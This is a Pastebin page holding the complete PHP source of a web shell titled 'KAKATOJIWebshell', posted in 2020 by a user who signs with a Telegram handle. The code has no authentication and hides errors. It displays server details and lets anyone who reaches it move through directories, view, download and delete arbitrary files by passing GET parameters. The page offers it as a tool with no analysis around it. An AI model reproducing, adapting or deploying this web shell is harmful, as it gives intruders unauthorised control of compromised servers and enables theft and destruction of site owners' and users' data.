Advertisement
kakatoji

webshellv1

Sep 8th, 2020
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.67 KB | None | 0 0
  1. <?php /******************************************************************
  2. / i'am like this @kakatoji on telegram
  3. 😘😘 ******************************************************************/ error_reporting(0);
  4. function getPermission($perm) {
  5. $res = '';
  6. for($i=0; $i<strlen($perm); $i++) { switch ($perm[$i]) {
  7. case '7':$res .= 'rwx';
  8. break;
  9. case '6':
  10. $res .= 'rw-';
  11. break;
  12. case '5':
  13. $res .= 'r-x';
  14. break;
  15. case '4':
  16. $res .= 'r--';
  17. break;case '3':
  18. $res .= '-wx';
  19. break;case '2':
  20. $res .= '-w-';
  21. break;
  22. case '1':
  23. $res .= '--x';
  24. break;
  25. }
  26. }
  27. return $res;
  28. }
  29. function getContent($path) { $available_dir = array(); foreach(scandir($path) as $dir) { array_push($available_dir, $dir);
  30. }
  31. return $available_dir;
  32. }
  33. function changeDir($dest_dir) {
  34. $dir_move = chdir($dest_dir);
  35. return getcwd();
  36. }
  37. function downloadFile($file) {
  38. ob_clean();
  39. header('Content-Description: File Transfer');
  40. header('Content-Type: application/octet-stream');
  41. header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0');
  42. header('Cache-Control: must-revalidate'); header('Pragma: public');
  43. header('Content-Length: ' . filesize($file));
  44. readfile($file);
  45. exit;
  46. }
  47. ?> <!DOCTYPE html> <html> <head> <title>KAKATOJIWebshell</title> <style> * { margin: 0; padding: 0; } body { font-family: consolas,"DejaVu Sans Mono"; font-size: 14px; background-color: #111; color: #fff; } .container { width: 100%; overflow: hidden; } .info { width: 98%; margin: 1% auto; font-size: 12px; border: 1px solid #999; margin-bottom: 1%; } .main { width: 98%; margin: 0 auto; font-size: 12px; margin-bottom: 2%; } .view { width: 100%; padding-top: 20px; padding-bottom: 30px; margin: 10px auto; border: 1px solid #fff; color: #fff; overflow: hidden; } tr:hover { background-color: #333; } </style> </head> <body> <div class="container"> <div class="info">
  48. <?= php_uname(); ?><br> PHP Version : <?= phpversion(); ?><br> IP Server : <?= $_SERVER['SERVER_ADDR']; ?> | Your IP : <?= $_SERVER['REMOTE_ADDR']; ?> </div> <div class="main"> <span style="margin-bottom: 5px; display: block;color: lime;">dir : <?= isset($_GET['dir']) ? changeDir($_GET['dir']) : getcwd(); ?></span> <div class="dir"> <?php $currentPath = isset($_GET['dir']) ? changeDir($_GET['dir']) : getcwd(); switch($_GET['act']){ case 'dl': downloadFile($_GET['file']); break; case 'view': echo '<br><span style="margin-bottom: 5px; display: block;color: blue;">file : '.$_GET['file'].'</span> <div class="view"><pre>'.htmlentities(file_get_contents($_GET['file'])).'</pre></div>'; break; case 'del': (unlink($_GET['file']) ? header('location:http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'?dir='.$currentPath.'') : ""); break; default: echo '<table class="dirinfo"> <tr> <th width="400px">name</th> <th width="200px">type</th> <th width="200px">owner</th> <th width="200px">permission</th> <th width="200px">act</th> </tr>'; foreach(getContent($currentPath) as $dir) { $link = (is_dir($dir)) ? '?dir=' : '?file='; $slash = (is_dir($dir)) ? '/' : ''; $type = (is_dir($dir)) ? 'directory' : ''; $action = (is_dir($dir)) ? '' : "<a href='".$link.getcwd()."/".$dir.$slash."&act=dl' style='color:#aaa;text-decoration:none;margin-left:1px;margin-right:2px;'>download </a><a href='".$link.getcwd()."/".$dir.$slash."&act=view' style='color:#aaa;text-decoration:none;margin-left:1px;margin-right:2px;'> view </a><a href='".$link.getcwd()."/".$dir.$slash."&act=del' style='color:#aaa;text-decoration:none;margin-left:1px;margin-right:2px;'> delete </a>"; echo "<tr> <td><a href='".(is_dir($dir) ? $link.getcwd()."/".$dir.$slash : $link.getcwd()."/".$dir.$slash."&act=view")."'>".$dir."</a></td> <td><center>".mime_content_type($dir)."</center></td> <td><center>".posix_getpwuid(fileowner($dir))['name'].":".posix_getpwuid(filegroup($dir))['name']."</center></td> <td><center>".getPermission(decoct(fileperms($dir) & 0777))."</center></td> <td><center>".$action."</center></td> </tr>"; } break; } ?> </table> </div> </div> </div> </body> </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement